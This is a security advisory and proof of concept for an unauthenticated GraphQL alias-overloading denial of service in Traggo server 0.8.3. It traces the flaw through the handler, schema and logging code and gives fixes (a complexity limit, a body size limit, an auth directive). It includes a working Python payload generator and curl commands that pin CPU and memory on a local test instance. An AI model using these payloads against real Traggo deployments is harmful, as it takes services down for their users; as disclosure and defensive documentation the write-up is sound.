
Proof-of-concept and technical write-up for CVE-2026-117184, an unauthenticated GraphQL alias-overloading denial-of-service in Traggo 0.8.3, with payload generator and fix guidance.
Traggo server v0.8.3 is vulnerable to an Unauthenticated Denial of Service (DoS). The GraphQL endpoint accepts an unlimited number of aliased fields and has no request body size limit. Because the version field lacks a @hasRole directive, this can be triggered without logging in.
A crafted document with many aliases (e.g., {v0:version{name} v1:version{name} ...}) forces the server to spend a long time resolving fields and allocate excessive memory. A single request with 100,000 aliases (a 2.0 MB payload) pins one CPU core for over 100 seconds and consumes nearly 1 GB of RAM. Parallel requests can easily push the process into OOM (Out of Memory) territory.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-117184 |
| Official Record | cve.org/CVERecord?id=CVE-2026-117184 |
| Affected Version | Traggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76) |
| Vulnerability Type | CWE-400: Uncontrolled Resource Consumption (DoS) |
| Attack Vector | Network |
| Privileges Required | None (Unauthenticated) |
| Affected Component | GraphQL endpoint /graphql (graphql/handler.go), schema.graphql, logger/gql.go |
| Original Report | traggo/server#253 |
| File Path | Description |
|---|---|
graphql/handler.go | Handler setup missing complexity limit and body size limit. |
schema.graphql | version field lacks authentication directive. |
auth/hasrole.go | Directive implementation (skipped for version). |
graphql/resolver.go | version resolver called for every alias. |
logger/gql.go | Raw query logged on errors, amplifying body size impact. |
graphql/handler.go:13-27 — handler.ComplexityLimit(...) is never passed. The request body goes straight into gqlHandler.ServeHTTP without http.MaxBytesReader.
func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}), handler.RequestMiddleware(logger.GQLLog()))
playground := handler.Playground("Traggo Playground", endpoint)
return func(writer http.ResponseWriter, request *http.Request) {
if acceptHTMLAndNotJSON(request) {
playground.ServeHTTP(writer, request)
} else {
gqlHandler.ServeHTTP(writer, request)
}
}
}
version Fieldschema.graphql:62 — While other fields have @hasRole(role: USER), the version field does not, making it reachable without an Authorization header.
devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!
graphql/resolver.go:67-71 — Each alias in the selection set invokes the resolver separately, multiplying CPU and memory usage.
func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
gql := &gqlmodel.Version{}
copier.Copy(gql, r.version)
return gql, nil
}
gqlgen v0.17.85 only enables the complexity limit when the application explicitly sets it (handler/handler.go:59-67). Since Traggo doesn't, cfg.complexityLimit is 0, and no extension is added.
logger/gql.go:27-36 — Even if the query fails, the raw query is logged. A 20 MB payload generates a 20 MB log entry per request.
if len(errs) > 0 {
// ...
log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}
Tested on v0.8.3, built from source with go build (Go 1.24.4, SQLite, 4 cores, 7.7 GB RAM).
API=http://127.0.0.1:3999/graphql
curl -s -D - "$API" \
-H 'Content-Type: application/json' \
--data-binary '{"query":"{version{name commit}}"}' \
-o /tmp/version.json
cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}
python3 - <<'EOF'
import json
for n in (5000, 20000, 50000, 100000):
q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
with open(f"/tmp/alias_{n}.json", "w") as f:
json.dump({"query": q}, f)
EOF
(The 100k file is 2,088,904 bytes).
for n in 5000 20000 50000; do
curl -s "$API" -H 'Content-Type: application/json' \
-d @/tmp/alias_$n.json -o /dev/null \
-w "$n: http=%{http_code} time=%{time_total}\n"
done
| Aliases | Request Size | Time | Notes |
|---|---|---|---|
| 5,000 | 99 KB | 0.15 s | |
| 20,000 | 409 KB | 2.37 s | |
| 50,000 | 1.0 MB | 24.47 s | 100% of one core |
| 100,000 | 2.0 MB | 102.56 s | RSS 962 MB |
Three 50k requests in parallel showed 291-299% CPU on a 4-core machine. The server does not crash immediately, but small queries remain responsive (around 1 ms) while the large ones run. The primary issue is CPU pinning and potential OOM.
Apply limits in graphql/handler.go:
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}),
handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
handler.RequestMiddleware(logger.GQLLog()),
)
// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
// ... (rest of the handler)
}
Note: With ComplexityLimit(1000), the 50k alias query fails in 0.17s with an error: operation has complexity 100000, which exceeds the limit of 1000.
version FieldIf version does not need to be public, add @hasRole(role: USER) to schema.graphql:
version: Version! @hasRole(role: USER)
| Component | Version |
|---|---|
| Traggo Server | v0.8.3 (commit 6321119c...) |
| Go | 1.24.4 |
| gqlgen | 0.17.85 |
| Database | SQLite |
| OS | Linux (4 cores, 7.7 GB RAM) |
| Date | Event |
|---|---|
| 2026-10-22 | Issue #253 reported to Traggo server repository |
| 2026-10-30 | Official CVE record published on cve.org |
| — | Awaiting maintainer response on fix |
This write-up is provided for educational and defensive purposes only. All testing was performed on a locally hosted instance owned by the author. Do not use these techniques against systems without explicit written authorization.
Primandito Adi Setiya